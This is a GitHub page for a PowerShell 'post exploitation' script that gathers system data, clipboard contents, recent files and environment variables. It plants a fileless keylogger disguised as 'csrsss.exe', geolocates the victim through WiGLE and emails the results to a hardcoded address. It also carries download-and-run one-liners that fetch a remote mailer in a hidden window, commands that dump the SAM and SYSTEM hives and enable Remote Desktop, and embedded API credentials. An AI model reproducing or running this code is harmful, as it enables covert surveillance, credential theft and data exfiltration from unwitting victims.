-
Notifications
You must be signed in to change notification settings - Fork 0
/
scrapper.ps1
495 lines (413 loc) · 15.9 KB
/
scrapper.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
#############################################################################################################
### ###
### Information scrapper : Post exploitation information scrapper powershell script ###
### ###
### By AXANO ###
### ###
#############################################################################################################
<#
.SYNOPSIS
Powershell script that
Gathers info
Plants a fileless kelyogger
Finds the geolocation of the client through querrying the AP name in the Wiggle database
Sends all info through email back
FIRST RUN "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser"
########## OR #############
USE
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/axano/powershellScripts/master/scrapper.ps1')
########## DEBUG #############
powershell -windowstyle hidden -nologo -command "Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/axano/powershellScripts/master/scrapper.ps1')"
powershell -windowstyle hidden -nologo -command "Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/axano/powershellScripts/master/mailer.ps1')"
.USEFUL
### Measures time needed to execute certain command
Measure-Command { commandToExecute }
### Command to wipe the "downloaded form the internet" flag of a file
Unblock-File c:\downloads\file.zip
.TODO
###check if user is in administrator group, if true and script inst run as admin try UAC bypass
https://stackoverflow.com/questions/21590719/check-if-user-is-a-member-of-the-local-admins-group-on-a-remote-server
### TODO add startup script
### hide keylogger produced file and change the name
#>
### Add information to results github
function Main(){
$results = "RESULTS `n"
#initialize
$results = nonAdministrativeScrapperFunctions
### Runs Key logger (does not require admin privs)
$results += keyLogger
$results += findGeoLocation
mail $results
### Creates background function to mail keylogger results. Retrieves script from github
createNewMailer
### Register a startup function that restarts the scrapper on reboot (TODO)
#registerStartupFunctions
### OLD BUGGY FUNCTION THAT DOES NOT WORK
#createMailerToMailKeyloggerResults
}
function debug(){
$hello = "Hello World"
$hello | Out-File .\debug.txt
}
### SMTP mailing tool
### Sends a mail using a free smtp server
### $messageBody is send as message body in the mail
function mail($messageBody){
$smtpServer = "smtp.scarlet.be"
#Creating a Mail object
$msg = new-object Net.Mail.MailMessage
#Creating SMTP server object
$smtp = new-object Net.Mail.SmtpClient($smtpServer)
$smtp.Enablessl = $true
$smtp.port = 25
#Email structure
### !!!! From email can be spoofed
### On 12/09/2018 you could still use any gmail account as sender and receiver (TESTED)
$msg.From = "powershell@scarlet.be"
$msg.To.Add("perselis.e@gmail.com")
$msg.subject = "Scrapper information"
$msg.IsBodyHTML = $false
$msg.body = $messageBody +""
$ok=$true
Write-Host "SMTP Server:" $smtpserver "Port #:" $smtp.port "SSL Enabled?" $smtp.Enablessl
try{
$smtp.Send($msg)
Write-Host "SENT"
}
catch {
$error[0]
$_.Exception.Response
$ok=$false
}
finally{
$msg.Dispose()
}
if($ok){
Write-Host "EVERYTHING PASSED"
}
}
function initialize(){
### Changes the window title
$host.ui.RawUI.WindowTitle = "Information scrapper"
}
function nonAdministrativeScrapperFunctions(){
$results = "Start of non Administrative Scrapper Functions`n"
$results += "`n"
### Get current date
$results += "`nCurrent Date `n"
$results += [System.DateTime]::Now
$results += "`n"
# or
# Get-Date
### Get execution policy to see if running a script is possible
$results += "`nExecution policy`n"
$results += Get-ExecutionPolicy
$results += "`n"
<#
NOT NEEDED, systeminfo GATHERS THIS INFORMATION
### Get OS version
[Environment]::OSVersion
### Get OS type (home/pro/enterprise)
(Get-WmiObject -class Win32_OperatingSystem).Caption
#>
### Detailed system info
$results += "`nDetailed system info `n"
$results += systeminfo | Format-Table -HideTableHeaders | Out-String
$results += "`n"
### Gets public ip
$results += "`nPublic IP `n"
### WORKS ONLY FOR PSv5
#$results += Invoke-RestMethod http://ipinfo.io/json | Select -exp ip
### PSv2 alternative
$results += (New-Object Net.WebClient).DownloadString('http://ipecho.net/plain')
$results += "`n"
### Gets active tcp connections
$results += "`nActive TCP connections `n"
### WORKS ONLY FOR PSv5
# $results += Get-NetTCPConnection | Format-Table -HideTableHeaders | Out-String
### PSv2 alternative
$results += netstat -an | Format-Table -HideTableHeaders | Out-String
$results += "`n"
### Gets contents of clipboard
$results += "`nClipboard content`n"
### WORKS ONLY ON PSv5
#$results += Get-Clipboard
### PSv2 alternative
$results += add-type -as System.Windows.Forms; [windows.forms.clipboard]::GetText()
$results += "`n"
### Gets information of installation settings
$results += "`nInstallation settings info `n"
$results += Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion | Out-String
$results += "`n"
### Detects if powershell is run as administrator
$results += "`nIs powershell run as admin? `n"
$results += [bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")
$results += "`n"
### Lists recently opened files
$results += "`nRecently opened files `n"
$results += dir $HOME"\AppData\Roaming\Microsoft\Windows\Recent\" | Format-Table -HideTableHeaders | Out-String
$results += "`n"
### Gets BIOS info (can be used to find out if a machine runs in a virtual environment)
$results += "`nBIOS info `n"
$results += Get-WmiObject win32_bios | Format-Table -HideTableHeaders | Out-String
$results += "`n"
### Gets name, status, SID, Lastlogon of all local users
$results += "`nLocal users info `n"
### Powershell v2 incompatible!!!
#$results += Get-LocalUser | Select-Object Name,Enabled,SID,Lastlogon | Format-Table -HideTableHeaders | Out-String
### PSv2 alternative
$results += net user $env:UserName | Format-Table -HideTableHeaders | Out-String
$results += "`n"
### Checks if computer is in domain
$results += "`nIs computer in a domain?`n"
if ((gwmi win32_computersystem).partofdomain -eq $true) {
$results += "I am domain joined!"
} else {
$results += "Ooops, workgroup!"
}
$results += "`n"
### Gets all running processes with details
$results += "`nAll running processes`n"
$results += Get-Process | Format-Table -HideTableHeaders | Out-String
$results += "`n"
### Slow but more detailed alternative (not needed if results will be stored in variable)
# Get-Process | format-list *
### Gets all environment variables
$results += "`nEnvironment variables`n"
$results += Get-ChildItem env: | Format-Table -HideTableHeaders | Out-String
$results += "`n"
return $results
}
function administrativeScrapperFunctions(){
### Dump sam (needs administrator rights)
reg save HKLM\SAM .\sam
### Dump system (needs administrator rights)
reg save HKLM\SYSTEM .\system
### Enables remoting, windows will listen on certain ports for incoming connections
### TO connect enter "Enter-PSSession COMPUTER_NAME"
### may need to provide credentials through -Cred parameter
# needs to be tested!!!!
Set-NetConnectionProfile -NetworkCategory Private -Force -SkipNetworkProfileCheck
### Enable remote Desktop
$regKey = "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server"
Set-ItemProperty $regKey fDenyTSConnections 0
}
### Function that creates a power shell file
### with the key loggers source in it and runs it in background
### TESTED ON windows10 and windows 7(powershell v2)
### IF log file already exists, it appends results
### TODO add a process that periodically sends the updated log file through email
function keyLogger(){
$scriptForKeyloggerAsString = 'Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace KeyLogger {
public static class Program {
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const string logFileName = @"%TEMP%\keylogger.txt";
private static StreamWriter logFile;
private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;
public static void Main() {
string expandedFileName = Environment.ExpandEnvironmentVariables(logFileName);
logFile = File.AppendText(expandedFileName);
logFile.AutoFlush = true;
hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
}
private static IntPtr SetHook(HookProc hookProc) {
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
}
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
int vkCode = Marshal.ReadInt32(lParam);
logFile.Write((Keys)vkCode);
}
return CallNextHookEx(hookId, nCode, wParam, lParam);
}
[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
}
"@ -ReferencedAssemblies System.Windows.Forms
[KeyLogger.Program]::Main();
'
### WORKING ###
#Invoke-Expression $scriptForKeyloggerAsString
### THIS WAS A HELL TO FIND BUT IT WORKS!!!
$command = '$scriptBlockVar ='+$scriptForKeyloggerAsString+'
Invoke-Expression $scriptBlockVar'
$scriptBlock = [scriptblock]::Create($command)
### Starts script block in background and saves job as variable
### Job is started as a different process unrelated to this script process
### and is not killed if current window is killed.
$job = start-Job -scriptblock $scriptBlock -Name "csrsss.exe"
### Sleeps 1 second to be sure that job is properly started.
Sleep 1
### Checks if keylogger is running
$results += "`nKeylogger status. `n"
if($job.state -eq "Running"){
$results += "Keylogger is Running..."
}else {
$results +="Keylogger is NOT running"
}
$results += "`n"
return $results
### DEBUG
#$job | Format-List -Property *
}
### Finds geolocation by searching the WIGLE database with the current SSID and the BSSID of the current connected AP
# This function uses an authentication token given by WIGLE.
# API docs can be found here : https://api.wigle.net/swagger#/Network%20search%20and%20information%20tools/search_1
# TODO add try catch to filter pc's with no wireless connection
# TODO catch when pc has 2 or more w-nic
# There is a daily query limit ~5 requests
function findGeoLocation(){
Try{
# Gets current AP
$strDump = netsh wlan show interfaces
# PARSING....
$objInterface = "" | Select-Object SSID,BSSID
foreach ($strLine in $strDump) {
if ($strLine -match "^\s+SSID") {
$objInterface.SSID = $strLine -Replace "^\s+SSID\s+:\s+",""
} elseif ($strLine -match "^\s+BSSID") {
$objInterface.BSSID = $strLine -Replace "^\s+BSSID\s+:\s+",""
}
}
#Variable isolation
$SSID = $objInterface.SSID
$BSSID = $objInterface.BSSID
# Building the final URI
$uri = "https://api.wigle.net/api/v2/network/search?onlymine=false&first=0&freenet=false&paynet=false&netid="+$BSSID+"&ssid="+$SSID
# Auth tokens
$user = 'AIDeeed5624aa547065e149f4c3067b8a26'
$pass = '4146a9f04324cc281439e23da8ec5686'
# Creating pair used for encoding
$pair = "$($user):$($pass)"
$encodedCreds = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($pair))
$basicAuthValue = "Basic $encodedCreds"
# Building headers
$Headers = @{
Authorization = $basicAuthValue
}
# Making actual request
$response = Invoke-RestMethod -Uri $uri -Headers $Headers
$response
$response.results
}
Catch{
return "Geolocation failed. Pc is probably not connected to a WAP..."
}
}
### Creates a background process that will send a mail with the keyloggers results every 5 mins
### It also checks whether the file exists if not it exits
### ATTENTION THIS SCRIPT BLOCK IS KILLED IF PARRENT EXITS!!!!!
### TODO USE Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList notepad.exe TO MAKE IT INDEPENDABLE
### https://stackoverflow.com/questions/8515359/how-can-i-start-a-background-job-in-powershell-that-outlives-its-parent
### QUARANTINED to be deleted in the following phase
<#
function createMailerToMailKeyloggerResults(){
$variableContainingScriptToBeExecutedAsString = '
function mail($messageBody){
$smtpServer = "smtp.scarlet.be"
#Creating a Mail object
$msg = new-object Net.Mail.MailMessage
#Creating SMTP server object
$smtp = new-object Net.Mail.SmtpClient($smtpServer)
$smtp.Enablessl = $true
$smtp.port = 25
#Email structure
### !!!! From email can be spoofed
### On 12/09/2018 you could still use any gmail account as sender and receiver (TESTED)
$msg.From = "powershell@scarlet.be"
$msg.To.Add("perselis.e@gmail.com")
$msg.subject = "Scrapper information"
$msg.IsBodyHTML = $false
$msg.body = $messageBody +""
$ok=$true
Write-Host "SMTP Server:" $smtpserver "Port #:" $smtp.port "SSL Enabled?" $smtp.Enablessl
try{
$smtp.Send($msg)
Write-Host "SENT"
}
catch {
$error[0]
$_.Exception.Response
$ok=$false
}
finally{
$msg.Dispose()
}
if($ok){
Write-Host "EVERYTHING PASSED"
}
}
echo "Starting mailer" | out-file .\log.txt
$keyloggerLogFilePath = $env:temp+"\keylogger.txt"
while($true)
{
Sleep (10 * 1)
try{
if([System.IO.File]::Exists($keyloggerLogFilePath)){
$keyloggerFileContents = type $keyloggerLogFilePath
mail $keyloggerFileContents
echo "sending mail" | out-file .\log.txt
}
else{
"Keylogger log does not exist"
mail "Keylogger log does not exist"
exit
}
}
catch{
"Keylogger job is not created"
mail "Keylogger job is not created (catch)"
exit
}
}
'
$command = '$scriptBlockVar ='+$variableContainingScriptToBeExecutedAsString+'
Invoke-Expression $scriptBlockVar'
$scriptBlock = [scriptblock]::Create($command)
### Starts script block in background and saves job as variable
### Job is killed if parent quits with this method
$job = start-Job -scriptblock $scriptBlock -Name "mailer.exe"
Sleep 1
### Checks if mailer is running
$results = "`nMailer status. `n"
if($job.state -eq "Running"){
$results += "Mailer is Running..."
}else {
$results +="Mailer is NOT running"
}
### This problem could be solved by using this : Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell -windowstyle hidden -nologo -command "" Sleep 300"""
### BUGS IN PARSING. THIS LINE DOES NOT WORK AS EXPECTED
###Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell -windowstyle hidden -nologo -command $scriptBlock"
$results += "`n"
$results
}
#>
#Splitted mailer and ported the mailer script to github
function createNewMailer(){
powershell -windowstyle hidden -nologo -command "Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/axano/powershellScripts/master/mailer.ps1')"
}
### Strict mode is scoped.
### It prevents minor scripting errors like accessing non existent variables
Set-StrictMode -Version Latest
### Calling Main
. Main